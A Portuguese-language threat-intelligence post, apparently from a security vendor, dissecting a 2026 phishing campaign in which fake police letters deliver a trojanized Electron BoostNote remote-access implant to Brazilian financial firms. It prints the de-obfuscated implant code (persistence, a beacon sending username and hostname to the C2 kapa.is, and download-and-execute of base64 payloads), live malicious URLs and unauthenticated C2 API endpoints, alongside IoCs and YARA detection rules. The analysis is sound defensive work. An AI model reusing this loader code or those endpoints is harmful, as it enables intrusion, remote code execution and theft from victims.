BoostNote trojanizado: anatomia do RAT que abriu a porta na campanha de ofícios falsos
Em 17 de fevereiro de 2026, funcionários de instituições financeiras brasileiras receberam um ofício da Polícia Civil do Amapá pedindo dados cadastrais. O e-mail saiu de um endereço real, [email protected], com PDF anexo, número de protocolo, citação de artigos da Constituição e assinatura eletrônica. Dois dias depois, clientes da Woovi acordaram com saldo a menos.
Este texto descreve a amostra analisada em 21 de fevereiro de 2026: o e-mail, o instalador, o app Electron e o C2. A equipe de CTI do QuimeraX fechou o relatório nessa data e entregou aos clientes no mesmo dia. Publicamos agora para que outras empresas e pesquisadores possam reconhecer a ameaça e caçar os artefatos. O recorte da operação ao longo de 2026 está no post sobre o Shadow Ledger.
As seis etapas da infecção
- E-mail de phishing enviado pelos servidores comprometidos da Polícia Civil do Amapá (
[email protected]). - PDF com overlay de "Conteúdo Encriptado" e um botão de "Instalar Certificado Digital".
- O clique levava a
hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br, onde ficava o instalador. - Instalador Inno Setup com criptografia ChaCha20, que instalava um app Electron trojanizado.
- O app, disfarçado de "BoostNote-local", fazia beacon periódico para um C2 próprio.
- O C2 devolvia payloads arbitrários para execução na máquina da vítima.
O clique funciona porque o remetente é uma conta oficial da Polícia Civil, já comprometida.
O e-mail saiu do servidor da Polícia Civil
O ator comprometeu os servidores de e-mail da Polícia Civil do Estado do Amapá e usou a infraestrutura legítima para disparar o phishing.
Campo | Valor |
|---|---|
Domínio comprometido | policiacivil.ap.gov.br |
Remetente (From) | |
Reply-To | |
Idioma | Português (BR) |
Tema | Ofício nº 540222/2026, solicitação de dados bancários |
Data do e-mail | 17 de fevereiro de 2026 |
O corpo se apresenta como ofício da 3ª Delegacia de Combate à Corrupção e ao Crime Organizado (DECCON):
GOVERNO DO ESTADO DO AMAPÁ
SECRETARIA DE DEFESA SOCIAL
POLÍCIA CIVIL DO AMAPÁ
3ª DELEGACIA DE COMBATE À CORRUPÇÃO E AO CRIME
ORGANIZADO
Macapá, Amapá 17 de fevereiro de 2026
Ofício nº 540222/2026
Ref. IP nº 2026.0541.000018-33
CAIXA ECONOMICA FEDERAL <- NOME DO ALVO
DOCUMENTO 00.360.305/0001-04 <- CNPJ DO ALVO
A POLÍCIA CIVIL DO ESTADO DO AMAPÁ, PELA AUTORIDADE POLICIAL
SUBSCRITORA, COM FULCRO NO ARTIGO 144, § 4º DA CONSTITUIÇÃO
FEDERAL, ARTIGO 103 DA CONSTITUIÇÃO ESTADUAL, ARTIGO 4º E
SEGUINTES DO CÓDIGO DE PROCESSO PENAL, ARTIGO 1º, PARÁGRAFO
ÚNICO DA LEI 9296/96 E ART. 10,§ 3º COMBINADO COM A LEI Nº 12.830/2013,
VEM POR INTERMÉDIO DESTE, REQUISITAR OS DADOS CADASTRAIS
Atenciosamente,
POLÍCIA CIVIL DO ESTADO DO AMAPÁ
Delegacia Policial
Documento assinado eletronicamente pelo Departamento Policial, Mat. 399.750-2
em 17/02/2026, às 11:38.
A autenticidade deste documento pode ser conferida no site pelo qr code
informando o código do protocolo: 540222.
AVENIDA AMAPÁ, 808 MACAO ofício copia formatação oficial, cita artigos e leis que existem, coloca o CNPJ da Caixa Econômica Federal (00.360.305/0001-04) como destinatário e fecha com protocolo, assinatura eletrônica (matrícula 399.750-2) e endereço parcial da delegacia em Macapá. Quem recebe ofício com frequência tem pouco motivo para desconfiar.
O mesmo ofício com o CNPJ trocado
O ator reutilizava o mesmo texto, trocando só o nome e o CNPJ da instituição, e mantinha o número do ofício e a referência de inquérito. A variante da Crefisa, por exemplo:
Macapá, Amapá 19 de fevereiro de 2026
Ofício nº 540222/2026
Ref. IP nº 2026.0541.000018-33
CREFISA S/A - CRÉDITO FINANCIAMENTO E INVEST.
DOCUMENTO 60.779.196/0001-96
A POLÍCIA CIVIL DO ESTADO DO AMAPÁ, PELA AUTORIDADE POLICIAL
SUBSCRITORA [...] REQUISITAR OS DADOS CADASTRAIS.Empresas-alvo identificadas na análise:
# | Empresa | CNPJ | Setor |
|---|---|---|---|
1 | Caixa Econômica Federal | 00.360.305/0001-04 | Banco público |
2 | Crefisa S/A | 60.779.196/0001-96 | Crédito e financeira |
3 | Woovi | Fintech (Pix e pagamentos) | |
4 | Cielo | Adquirente e pagamentos |
Entre as variantes se repetem o ofício 540222/2026 e a referência de inquérito. As datas caem entre 17 e 19 de fevereiro de 2026; muda o destinatário. O volume sugere centenas de e-mails a funcionários de várias instituições no mesmo período.
O PDF e o overlay do certificado
Campo | Valor |
|---|---|
Nome do arquivo | bc1cb7d9-68d4-4120-8d2e-cd18e15d4070.pdf |
Conteúdo | Ofício policial com overlay malicioso |
Técnica | Overlay de "Conteúdo Encriptado" sobre documento real |
O documento oficial fica ao fundo, visível, e um overlay semitransparente no centro da tela diz que o conteúdo está encriptado e oferece o botão de instalar o certificado.

O clique manda a vítima para:
hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.brO download sai do IP 79.110.49.32, no caminho .certificados.ap.gov.br, o que na barra de endereços parece um domínio do governo.
O binário foi visto em vários lugares diferentes lugares:
hxxps://79[.]110[.]49[.]32/.certificados.ap.gov.br, a URL primária que o PDF abria.hxxps://cmdca[.]go[.]gov[.]br/download/Certificado_PCAP.exe, em um gov.br comprometido que continuava servindo o arquivo na data do relatório.hxxps://infinitepay-cc0ba0482579[.]intercom-attachments-5[.]com/[...], abusando do CDN de anexos do Intercom da InfinitePay.
O domínio cmdca.go.gov.br é do Conselho Municipal dos Direitos da Criança e do Adolescente, em Goiás. Em fevereiro de 2026 ele ainda entregava o malware, o que indica comprometimento de infraestrutura pública além da Polícia Civil do Amapá.
Stage 0: o instalador Inno Setup
Campo | Valor |
|---|---|
Nome | Certificado_PCAP.exe / Certificado_PCAP.bin |
Tipo | PE32 executable (GUI) Intel 80386 |
Tamanho | 71.691.016 bytes (71,7 MB) |
SHA1 | 746d354c83ba5ee7ad558ac9669d40c31be37831 |
MD5 | 05d8c7d4bc49a2da4587535abae9b06d |
Compilador | Delphi (Embarcadero) |
Empacotador | Inno Setup 6.7.0 |
Criptografia | ChaCha20 (XChaCha20) |
É um instalador Inno Setup 6.7.0 compilado em Delphi. Ele se apresenta como certificado, roda a instalação em silêncio, cria o diretório ProSoftionTechMax para parecer produto instalado e grava o payload em:
%LOCALAPPDATA%\ProSoftionTechMax\boost.exeA criptografia do Inno Setup 6.7.0 usa XChaCha20, a variante com nonce de 24 bytes, com chave derivada internamente pelo setup. Isso impede a extração estática do payload.
Execução em sandbox

A execução dinâmica mostrou o seguinte fluxo:
- O instalador Inno Setup cria um
.tmpintermediário antes de extrair oboost.exe. - O
boost.exe, que é o Electron, começa a falar com a rede imediatamente. - Várias instâncias de
boost.exesão normais, porque o Chromium separa main, renderer e GPU em processos. - O
comppkgsrv.exeque aparece na árvore é processo legítimo do Windows, chamado pelo sistema para componentes COM.
Stage 2: o BoostNote trojanizado
Campo | Valor |
|---|---|
Executável | boost.exe |
Localização | %LOCALAPPDATA%\ProSoftionTechMax\boost.exe |
Framework | Electron / Chromium |
App trojanizado | BoostNote-local |
Main process | index.js.bin |
Campo | Valor |
|---|---|
Nome | index.js.bin |
Tamanho | 11.828 bytes |
SHA1 | eadae0414e6625194b0fff5284521d338cb379b8 |
MD5 | 7d3f6fd7db5e211f6f1356e84ac9bc77 |
Tipo | JavaScript (ofuscado) |
O index.js.bin é o main process do app. No começo do arquivo está o implante, um RAT com função de loader. Em seguida vem o webpack bundle original do BoostNote-local.
O implante usa ofuscação de nomes. O mapeamento da análise:
Ofuscado | Real | Função |
|---|---|---|
iZNIf | app | Instância do Electron app |
QU81r | fs | Módulo filesystem |
ROT7v | https | Módulo HTTPS |
MfjZG | customFetch() | Cliente HTTP customizado |
NKb3s | C2_URL | URL do C2: kapa.is/f/e/ |
ThgLW | pathJoin() | Junta paths com \ |
Is0j4 | dirname() | Retorna diretório pai |
xqdJm | getVictimId() | Gera ou lê o ID da vítima |
x4iLZ | sleep() | Delay assíncrono |
V6chI | beacon() | Check-in com o C2 |
MtC3z | executeTask() | Executa o payload do C2 |
no2ss | mainLoop() | Loop infinito de beacon |
Persistência
O implante se registra na inicialização do Windows pela API do Electron:
app.setLoginItemSettings({
openAtLogin: true, // Inicia automaticamente no login do Windows
openAsHidden: false, // Janela visível (parece app normal)
path: app.getPath('exe'),// Caminho do boost.exe
args: []
});Na prática, isso escreve a chave:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"BoostNote-local" = "%LOCALAPPDATA%\ProSoftionTechMax\boost.exe"Com openAsHidden: false a janela abre no login, então o processo se comporta como um aplicativo de notas.
ID da vítima
function getVictimId() {
const idPath = process.env.APPDATA + '\\id.txt';
if (fs.existsSync(idPath)) {
return fs.readFileSync(idPath, 'utf8').trim();
}
const id = Math.random().toString(36).slice(2, 10);
// Math.random() → 0.7289432156
// .toString(36) → "0.q3f9a2bxk7" (base36: 0-9 + a-z)
// .slice(2, 10) → "q3f9a2bx" (8 caracteres)
fs.writeFileSync(idPath, id);
return id;
}O identificador fica em %APPDATA%\id.txt, tem 8 caracteres alfanuméricos, é gerado uma única vez e reaproveitado em todos os beacons. O gerador é Math.random(), um PRNG não criptográfico. Essa geração se manteve nas ondas seguintes, inclusive quando o host Electron deixou de ser o BoostNote.
Loop de beacon
async function mainLoop() {
while (true) {
await beacon();
await sleep(120000); // 2 minutos
}
}O loop pergunta ao C2 a cada 120 segundos enquanto o processo Electron estiver rodando.
O beacon
async function beacon() {
const response = await customFetch('kapa.is/f/e/', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify([
getVictimId(), // "q3f9a2bx"
process.env.COMPUTERNAME, // "DESKTOP-ABC123"
process.env.USERNAME // "joao.silva"
])
});
const data = await response.json();
if (data.task) {
executeTask(data.task);
}
}POST https://kapa.is/f/e/
Content-Type: application/json
Body: ["q3f9a2bx", "DESKTOP-ABC123", "joao.silva"]
HTTP 200 OK
Sem task: {}
Com task: {
"task": {
"files": {
"payload.exe": "<base64-encoded-PE>"
}
}
}O cliente usa rejectUnauthorized: false e aceita qualquer certificado TLS. Os erros caem em catch(e){ console.log(e) }. Não há User-Agent customizado: o tráfego sai com o default do Node.js, a partir de um processo que se apresenta como app de notas.
Execução das tasks
function executeTask(task) {
const taskDir = process.env.TEMP + '\\' + Date.now();
// Ex: C:\Users\victim\AppData\Local\Temp\1708454821000\
fs.mkdirSync(taskDir, { recursive: true });
for (const [filename, base64Content] of Object.entries(task.files)) {
const filePath = taskDir + '\\' + filename;
// Cria subdiretórios se necessário
fs.mkdirSync(dirname(filePath), { recursive: true });
// Decodifica base64 → escreve no disco
fs.writeFileSync(filePath, Buffer.from(base64Content, 'base64'));
// Marca primeiro .exe como payload principal
if (filename.endsWith('.exe')) exePath = filePath;
}
// EXECUTA O PAYLOAD
if (exePath) {
require('child_process').exec(`"${exePath}"`, { cwd: taskDir });
}
}O C2 grava qualquer arquivo e executa qualquer .exe sem validar nome, conteúdo ou pasta. O exec() não espera resultado nem captura saída.
O BoostNote que a vítima vê
O resto do arquivo é o bundle minificado do BoostNote-local, um app open source de notas.
ID | Módulo |
|---|---|
0 | electron |
1 | electron-updater |
2 | path |
3 | electron-log |
4 | url |
5 | Main app logic |
O BrowserWindow do app original já vinha com configuração insegura:
webPreferences: {
nodeIntegration: true, // Permite require() no renderer
contextIsolation: false, // Sem sandbox/isolamento
webviewTag: true, // Permite <webview>
enableRemoteModule: true, // Acesso total ao main process
}O BoostNote-local continua usável: auto-updater do electron-updater a cada 24 horas, menu, single instance lock, protocolo boostnote:// e assets em ./compiled/app/static/.
Stage 3: o payload Go do "benfeitor anônimo"
Uma das tasks do C2 veio de fora da campanha. A leitura da equipe é que um profissional de segurança encontrou as mesmas falhas de Broken Access Control, publicou uma task própria e avisou as vítimas na tela da máquina infectada. Sem autenticação efetiva no C2, qualquer pessoa com o endpoint conseguia publicar tarefas para os hosts infectados.
Campo | Valor |
|---|---|
Nome | file.bin |
Tipo | PE32+ executable (GUI) x86-64 |
Tamanho | 5.710.848 bytes (5,7 MB) |
SHA1 | 03e23ad55ff739fc058468e4cde535b2c918601a |
MD5 | b7b74f50579c1a91413fdc4cb2f5a062 |
Linguagem | Go 1.24.0 |
Target | GOOS=windows, GOARCH=amd64 |
Obfuscador | garble |
Repositório | github.com/trocabg/troca.go |
O binário está ofuscado com garble, que remove nomes de função, caminhos de fonte e informação de debug. Mesmo assim, o Go preserva nomes na pclntab (Program Counter Line Table) para gerar stack trace em runtime, e foi por ali que a análise recuperou o mapa.
Campo | Valor |
|---|---|
pclntab offset | 0x37BB40 |
Magic | 0xFFFFFFF1 (Go 1.20+) |
ptrSize | 8 (64-bit) |
minLC | 1 |
nfunc | 5.713 funções |
nfiles | 607 arquivos |
textStart | 0x401000 |
Funções-chave resolvidas: main.main em 0x618E00 e runtime.main em 0x43E4C0.
A estrutura PE, com ImageBase 0x400000:
Seção | VA | Tamanho |
|---|---|---|
.text | 0x401000 | 0x2752F1 |
.rdata | 0x677000 | 0x297098 |
.data | 0x90F000 | 0x9FA70 |
.pdata | 0x9AF000 | 0xE67C |
.idata | 0x9BF000 | 0x53E |
.reloc | 0x9C0000 | 0xC24C |
.symtab | 0x9CD000 | 0x4 |
Os imports são só 46 funções de kernel32.dll, comportamento normal de Go, que linka a stdlib estaticamente:
AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA,
CreateIoCompletionPort, CreateThread, CreateWaitableTimerExW,
DuplicateHandle, ExitProcess, GetConsoleMode, GetCurrentThreadId,
GetEnvironmentStringsW, GetProcAddress, GetProcessAffinityMask,
GetQueuedCompletionStatusEx, GetStdHandle, GetSystemDirectoryA,
GetSystemInfo, GetSystemTimeAsFileTime, GetTempPathW, GetThreadContext,
LoadLibraryA, LoadLibraryW, PostQueuedCompletionStatus, ReadConsoleW,
ReadFile, ResumeThread, SetConsoleCtrlHandler, SetCurrentDirectoryA,
SetEnvironmentVariableW, SetEvent, SetProcessPriorityBoost,
SetThreadContext, SetUnhandledExceptionFilter, SetWaitableTimer,
SuspendThread, SwitchToThread, TlsAlloc, VirtualAlloc, VirtualFree,
VirtualQuery, WaitForSingleObject, WriteConsoleW, WriteFileO binário chama MessageBoxW com título "ALERTA" e uma mensagem em português avisando a vítima do comprometimento, assinada por um "benfeitor anônimo".

Há também um webhook em https://webhook.site/39ac1648-c5d0-4ba9-8658-13754c0c62a1. No contexto dessa intervenção, o canal provavelmente registra quais vítimas receberam o alerta.
Em IR o hash, o canal e o %TEMP% coincidem com o resto da infecção. O autor deste binário foi quem publicou o alerta.
O C2 em kapa.is
Campo | Valor |
|---|---|
Domínio | kapa.is |
Endpoint | |
Protocolo | HTTPS (TLS) |
Tipo | Customizado, ad-hoc |
Autenticação | Tela de login |
O protocolo é o mesmo que o implante usa, visto do lado do servidor:
POST /f/e/ HTTP/1.1
Host: kapa.is
Content-Type: application/json
["<victim_id>", "<COMPUTERNAME>", "<USERNAME>"]Sem tarefa pendente, a resposta é {}. Com tarefa:
{
"task": {
"files": {
"filename.exe": "<base64-encoded-binary>",
"config.dat": "<base64-encoded-data>"
}
}
}A administração é feita por uma interface web, com tela de login pedindo usuário e senha.

A interface pedia login, mas os endpoints da API aceitavam requisição sem autenticação:
Vulnerabilidade | Descrição |
|---|---|
Broken Access Control | APIs acessíveis sem autenticação, apesar da tela de login |
API direta | Possível bater diretamente nos endpoints da API |
Listagem de vítimas | Endpoint permitia listar todas as vítimas registradas |
Criação de tasks | Possível criar tasks arbitrárias para execução nas vítimas |
Com uma alteração simples no conteúdo da página pelo DevTools, era possível agir pela própria interface, inclusive enviar uma task para execução nas máquinas das vítimas.

Os endpoints de API respondiam direto:
https://kapa.is/f/api.php?action=clients lista os computadores comprometidos
https://kapa.is/f/api.php?action=tasks lista as tarefas enviadas para execução
O C2 foi escrito de forma ad-hoc. Quem conhecia o endpoint listava as vítimas ativas e publicava tasks nos hosts infectados. Foi assim que o payload Go chegou às máquinas.
O mesmo loader em campanhas seguintes
Nas ondas depois de fevereiro o grupo trocou a URL do C2 e a pasta em %LOCALAPPDATA%. O instalador Inno Setup, a geração do %APPDATA%\id.txt, o beacon e a execução de tasks continuaram iguais.
O operador troca o index.js do .asar e reaproveita o runtime Electron. Em campanhas recentes isso apareceu com Draw.io Desktop (draw.io.exe em %LOCALAPPDATA%\EasySuiteAutoTool\) e com GitHub Desktop, então o processo herda o nome de um aplicativo que o usuário já conhece e o beacon segue o mesmo formato.
kapa.is, ProSoftionTechMax e boost.exe valem para a onda de fevereiro. Nas seguintes, o que se repete é host Electron fora do caminho oficial, id.txt em %APPDATA%, index.js ofuscado no .asar e POST periódico com identificador, COMPUTERNAME e USERNAME.
O post sobre o Shadow Ledger descreve essa rotação ao longo de 2026 e como caçar o comportamento que sobrevive à troca de hash.
Indicadores de comprometimento
Stage 0, Certificado_PCAP.exe:
Algoritmo | Hash |
|---|---|
SHA256 | dd1e7fd35306a22f511197716c7e9fe2c1ba149ffd275a5221c4452165a4b29d |
SHA1 | 746d354c83ba5ee7ad558ac9669d40c31be37831 |
MD5 | 05d8c7d4bc49a2da4587535abae9b06d |
Stage 2, index.js.bin (RAT Electron):
Algoritmo | Hash |
|---|---|
SHA256 | 536b80da7dd6f1bc8201e85e77e9b68eeef872d5f1412581e840b9b6f6dce139 |
SHA1 | eadae0414e6625194b0fff5284521d338cb379b8 |
MD5 | 7d3f6fd7db5e211f6f1356e84ac9bc77 |
Stage 3, file.bin (payload Go da intervenção de terceiro):
Algoritmo | Hash |
|---|---|
SHA256 | c9aae26d2c4142350b3e5eb5988679fbaa13d61f64242ed9099d7e8729f409a0 |
SHA1 | 03e23ad55ff739fc058468e4cde535b2c918601a |
MD5 | b7b74f50579c1a91413fdc4cb2f5a062 |
Rede:
Tipo | Valor |
|---|---|
Domínio C2 | kapa.is |
URL C2 | kapa.is/f/e/ |
IP Hosting | 79.110.49.32 |
URL Download | 79.110.49.32/.certificados.ap.gov.br |
URL Hosting | cmdca.go.gov.br/download/Certificado_PCAP.exe |
URL Hosting | infinitepay-cc0ba0482579.intercom-attachments-5.com/ |
URL Webhook | webhook.site/39ac1648-c5d0-4ba9-8658-13754c0c62a1 |
Domínio Phishing | policiacivil.ap.gov.br |
E-mail From | |
E-mail Reply-To |
TTPs no MITRE ATT&CK
Tática | Técnica | ID | Descrição |
|---|---|---|---|
Initial Access | Phishing: Spearphishing Attachment | T1566.001 | PDF malicioso via e-mail comprometido |
Initial Access | Trusted Relationship | T1199 | Uso de infraestrutura governamental comprometida |
Execution | User Execution: Malicious File | T1204.002 | Vítima executa Certificado_PCAP.exe |
Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | RAT em JavaScript (Node.js/Electron) |
Execution | Native API | T1106 | Chamadas a APIs Windows nativas |
Persistence | Boot or Logon Autostart: Registry Run Keys | T1547.001 | Login item via Electron API |
Defense Evasion | Obfuscated Files or Information | T1027 | Garble (Go), nomes ofuscados (JS), ChaCha20 (Inno) |
Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | Disfarce como BoostNote-local |
Defense Evasion | Masquerading: Invalid Code Signature | T1036.001 | Certificado TLS ignorado (rejectUnauthorized: false) |
Credential Access | OS Credential Dumping | T1003 | LogonUserW, NetUserGetInfo |
Discovery | System Information Discovery | T1082 | COMPUTERNAME, USERNAME, timezone |
Discovery | Process Discovery | T1057 | Process32NextW, Module32NextW |
Discovery | File and Directory Discovery | T1083 | FindFirstFileW |
Discovery | Account Discovery | T1087 | NetUserGetInfo, GetUserNameExW |
Collection | Data from Local System | T1005 | Enumeração de arquivos e dados |
Command and Control | Application Layer Protocol: Web | T1071.001 | HTTPS POST para o C2 |
Command and Control | Ingress Tool Transfer | T1105 | Download de payloads base64 via C2 |
Command and Control | Web Service | T1102 | webhook.site |
Exfiltration | Exfiltration Over C2 Channel | T1041 | Dados enviados via beacon |
Impact | Financial Theft | T1657 | Desvio de valores das contas de clientes |
Impact | Data Manipulation | T1565 | Manipulação de transações financeiras |
Detecção
Os IoCs abaixo identificam a onda de fevereiro. Para as seguintes, a regra precisa bater no implante: id.txt em %APPDATA%, persistência via setLoginItemSettings ou chave Run, rejectUnauthorized: false, child_process e Buffer.from no index.js do .asar, e beacon HTTPS com identificador, COMPUTERNAME e USERNAME.
Pontos observados nesta amostra e nas seguintes:
%APPDATA%\id.txtcom 8 caracteres alfanuméricos.- Host Electron em pasta inventada sob
%LOCALAPPDATA%(ProSoftionTechMax, EasySuiteAutoTool e equivalentes). - Processo com nome de app conhecido (BoostNote, Draw.io, GitHub Desktop) fora do caminho de instalação oficial.
- Chave Run apontando para esse executável.
- POST periódico para um C2 que muda a cada onda.
As regras YARA desta seção cobrem a amostra de fevereiro e pedaços do implante que sobreviveram à troca de host. Trate-as como ponto de partida. O hunting da família, com a rotação de C2 e de pasta, está no post sobre o Shadow Ledger.
Regras YARA
rule Woovi_BoostNote_RAT {
meta:
description = "Detects Trojanized BoostNote Electron app"
author = "QuimeraX - Threat Intelligence Team"
date = "2026-02"
severity = "critical"
strings:
$c2_url = "kapa.is/f/e/" ascii
$victim_id = "id.txt" ascii
$beacon_data = "COMPUTERNAME" ascii
$exec_task = "child_process" ascii
$boost = "BoostNote-local" ascii
$persistence = "openAtLogin" ascii
$b64_decode = "Buffer.from" ascii
$tls_bypass = "rejectUnauthorized" ascii
condition:
$c2_url or ($boost and $persistence and $exec_task) or
(4 of ($victim_id, $beacon_data, $exec_task, $b64_decode, $tls_bypass))
}
rule Woovi_Stage0_InnoLoader {
meta:
description = "Detects Stage 0 Inno Setup loader used in Woovi/banking trojan campaign"
author = "QuimeraX - Threat Intelligence Team"
date = "2026-02"
severity = "high"
hash = "dd1e7fd35306a22f511197716c7e9fe2c1ba149ffd275a5221c4452165a4b29d"
reference = "Brazilian trojan targeting Woovi, Cielo, Crefisa, CAIXA"
strings:
$inno_magic = "rDlPtS" ascii
$inno_ver = "Inno Setup Setup Data (6.7.0)" ascii
$inno_msg = "Inno Setup Messages (6.5.0) (u)" ascii
$inno_manifest = "JR.Inno.Setup" ascii
$delphi = "Embarcadero Delphi for Win32 compiler version 36.0" ascii
$cert_signer = "MAYDA PETROL OTOMOTIV INSAAT LIMITED SIRKETI" ascii
$tsetup_hdr = "TSetupHeader" ascii
$tsetup_opts = "TSetupHeaderOptions" ascii
condition:
uint16(0) == 0x5A4D and // PE file
filesize > 50MB and filesize < 100MB and // Stage 0 is ~71.7 MB
$inno_magic and
(
$cert_signer or // Strongest single indicator
($inno_ver and $delphi) or // Exact Inno+Delphi combo
(3 of ($inno_*, $tsetup_*, $delphi)) // 3+ framework strings
)
}Conclusão
O implante desta amostra tem 11 KB e, a cada dois minutos, pergunta ao C2 se há tarefa, grava o retorno em %TEMP% e executa. A conta da Polícia Civil dá autoridade ao ofício; com a sessão na mão, o operador chegou aos sistemas internos em poucas horas.
Nas ondas seguintes o grupo mudou a URL do C2, a pasta no AppData e o aplicativo Electron (Draw.io Desktop e GitHub Desktop entre eles). A geração do id.txt, o instalador e o formato do beacon permaneceram.
A esteira da operação ao longo de 2026 está no post sobre o Shadow Ledger.
Quer o time do QuimeraX acompanhando ameaças que podem afetar sua empresa? Solicite uma demonstração e veja o QuimeraX em ação na sua empresa: https://quimerax.com